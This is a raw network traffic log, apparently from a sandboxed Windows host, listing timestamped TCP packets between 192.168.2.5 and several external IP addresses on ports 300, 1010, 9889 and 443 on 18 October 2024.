Oct 18, 2024 23:46:09.465629101 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:09.465964079 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:09.469567060 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:09.469850063 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:09.475703955 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:09.558234930 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 18, 2024 23:46:09.558484077 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:46:09.713768959 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:09.719316959 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:09.727701902 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:09.731158972 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:09.733026981 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:09.745125055 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:09.774382114 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:09.776726961 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:09.776767969 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:09.789287090 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:09.790064096 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:09.797127962 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:09.816092968 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:09.821258068 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:09.836906910 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:09.852505922 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:09.868150949 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:10.034648895 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:10.034673929 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:10.034801960 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:10.299207926 CEST	49713	1010	192.168.2.5	43.248.186.137
Oct 18, 2024 23:46:10.304195881 CEST	1010	49713	43.248.186.137	192.168.2.5
Oct 18, 2024 23:46:10.304296970 CEST	49713	1010	192.168.2.5	43.248.186.137
Oct 18, 2024 23:46:10.304759979 CEST	49713	1010	192.168.2.5	43.248.186.137
Oct 18, 2024 23:46:10.309663057 CEST	1010	49713	43.248.186.137	192.168.2.5
Oct 18, 2024 23:46:11.366740942 CEST	1010	49713	43.248.186.137	192.168.2.5
Oct 18, 2024 23:46:11.415023088 CEST	49713	1010	192.168.2.5	43.248.186.137
Oct 18, 2024 23:46:11.884958029 CEST	49714	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.889874935 CEST	9889	49714	61.147.93.109	192.168.2.5
Oct 18, 2024 23:46:11.889956951 CEST	49714	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.890022039 CEST	49714	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.895076036 CEST	49715	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.895251036 CEST	9889	49714	61.147.93.109	192.168.2.5
Oct 18, 2024 23:46:11.895328999 CEST	49714	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.899965048 CEST	9889	49715	61.147.93.109	192.168.2.5
Oct 18, 2024 23:46:11.900041103 CEST	49715	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.900224924 CEST	49715	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:11.905749083 CEST	9889	49715	61.147.93.109	192.168.2.5
Oct 18, 2024 23:46:12.312400103 CEST	49716	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.312800884 CEST	49717	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.318137884 CEST	9889	49716	61.147.93.70	192.168.2.5
Oct 18, 2024 23:46:12.318152905 CEST	9889	49717	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:12.318321943 CEST	49716	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.318346024 CEST	49717	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.321374893 CEST	49716	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.321432114 CEST	49717	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.322765112 CEST	49718	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.323013067 CEST	49719	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.326873064 CEST	9889	49716	61.147.93.70	192.168.2.5
Oct 18, 2024 23:46:12.327002048 CEST	49716	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.327675104 CEST	9889	49717	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:12.327769995 CEST	49717	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.327877045 CEST	9889	49718	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:12.328006983 CEST	49718	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.328253031 CEST	49718	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:12.328303099 CEST	9889	49719	61.147.93.70	192.168.2.5
Oct 18, 2024 23:46:12.328370094 CEST	49719	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.328474998 CEST	49719	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:12.333725929 CEST	9889	49718	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:12.333739996 CEST	9889	49719	61.147.93.70	192.168.2.5
Oct 18, 2024 23:46:12.895239115 CEST	9889	49715	61.147.93.109	192.168.2.5
Oct 18, 2024 23:46:12.895262003 CEST	9889	49715	61.147.93.109	192.168.2.5
Oct 18, 2024 23:46:12.895510912 CEST	49715	9889	192.168.2.5	61.147.93.109
Oct 18, 2024 23:46:13.297866106 CEST	9889	49718	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:13.297905922 CEST	9889	49718	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:13.297940969 CEST	9889	49718	61.147.93.189	192.168.2.5
Oct 18, 2024 23:46:13.297976017 CEST	49718	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:13.301561117 CEST	9889	49719	61.147.93.70	192.168.2.5
Oct 18, 2024 23:46:13.301594973 CEST	9889	49719	61.147.93.70	192.168.2.5
Oct 18, 2024 23:46:13.302099943 CEST	49719	9889	192.168.2.5	61.147.93.70
Oct 18, 2024 23:46:13.352566957 CEST	49718	9889	192.168.2.5	61.147.93.189
Oct 18, 2024 23:46:13.407937050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:13.413389921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:13.413494110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:13.413703918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:13.418793917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.461740017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.461781979 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.461834908 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.461869001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.461900949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.461947918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.673732996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673798084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673825026 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.673835993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673846006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.673871994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673890114 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.673903942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673922062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.673938990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673958063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.673976898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.673989058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.674027920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.711982965 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:14.717142105 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:14.743207932 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:14.748570919 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:14.758871078 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:14.763957977 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:14.790070057 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:14.790070057 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:14.790115118 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:14.795113087 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:14.795151949 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:14.795186996 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:14.821326017 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:14.826428890 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:14.885958910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886001110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886037111 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886071920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886073112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886106014 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886157036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886178970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886235952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886251926 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886302948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886303902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886337996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886356115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886394024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886917114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886950016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.886981964 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.886986017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:14.887007952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:14.887033939 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.040082932 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:15.045041084 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:15.098222971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098345041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098367929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098381996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098391056 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098418951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098431110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098467112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098510981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098560095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098566055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098598003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098617077 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098643064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098653078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098687887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098701954 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098721981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.098733902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.098766088 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.099288940 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.099347115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.099350929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.099405050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.099643946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.099678993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.099699020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.099714041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.099720001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.099762917 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.223603964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.223634958 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.223653078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.223669052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.223685980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.223714113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.223753929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.310782909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.310817957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.310870886 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.310889959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.310904980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.310925007 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.310940981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.310971022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.310973883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.311005116 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.311008930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.311028957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.311058998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.311064005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.311116934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.341201067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.341228962 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.341245890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.341260910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.341279030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.341291904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.341315031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.341345072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630542994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630620003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630690098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630707026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630723000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630738020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630743027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630754948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630762100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630773067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630781889 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630788088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630803108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630815029 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630831003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630839109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630853891 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630858898 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630870104 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630886078 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630888939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.630909920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630909920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.630917072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631006002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631021976 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631036997 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631048918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631058931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631062984 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631078959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631082058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631103039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631114006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631118059 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631125927 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631141901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631150961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631160021 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631169081 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631175995 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631191969 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631191969 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631205082 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631210089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631226063 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631227970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631237030 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631241083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631257057 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631266117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631272078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631288052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631288052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631289959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631298065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631304979 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.631309986 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631328106 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.631340981 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.661809921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.661990881 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662018061 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662022114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662055969 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662060976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662061930 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662091970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662098885 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662126064 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662143946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662178040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662327051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662385941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662444115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662473917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662497044 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662517071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.662528038 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.662576914 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.692821026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.692867994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.692910910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.692914963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.692934036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.692953110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.693408966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.693445921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.693470955 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.693497896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.734791040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.734913111 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.734992027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.735038996 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.741755962 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.741771936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.741815090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.778683901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.778834105 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.778896093 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.778928995 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.778953075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.778980017 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.779217005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.779253006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.779269934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.779304981 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.779371977 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.779424906 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.779458046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.779493093 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.779500961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.779521942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.779539108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.779565096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.808419943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.808481932 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.808623075 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.808654070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.808672905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.808686972 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.808695078 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.808722019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.808728933 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.808757067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.808770895 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.808804989 CEST	49720	9889	192.168.2.5	61.147.93.116
